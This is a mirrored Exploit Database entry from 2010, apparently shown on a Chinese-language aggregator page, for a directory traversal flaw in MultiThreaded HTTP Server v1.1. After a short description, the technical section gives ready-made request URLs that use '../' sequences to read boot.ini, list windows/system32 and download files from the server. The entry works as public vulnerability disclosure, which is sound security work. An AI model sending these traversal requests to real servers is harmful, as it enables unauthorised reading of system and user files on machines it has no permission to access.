Multi-Threaded HTTP Server 1.1 – Directory Traversal (2)

• Exploit Database
• 110 阅读

• 作者： Dr_IDE
  日期： 2010-04-20
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/12331/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22

  ################################################################### # # Exploit Title: MultiThreaded HTTP Server v1.1 Directory Traversal # Found By: Dr_IDE # Date: Apr. 20, 2010 # Download: http://voxel.dl.sourceforge.net/project/http/version1.1/%5BUnnamed%20release%5D/HTTPProject_fat.jar # Tested on: Windows 7 # ###################################################################   - Description -   MultiThreaded HTTP Server v1.1 is a Java based HTTP server. This is the latest version of the application available.   MultiThreaded HTTP Server is vulnerable to remote directory traversal attacks.   - Technical Details - http://[ webserver IP][:port]/[?]../../../../../boot.ini [File Access] http://[ webserver IP][:port]/[?]../../../../../windows/system32 [Full Directory Listing] http://[ webserver IP][:port]/[?]../../../../../windows/system32/calc.exe [File Download]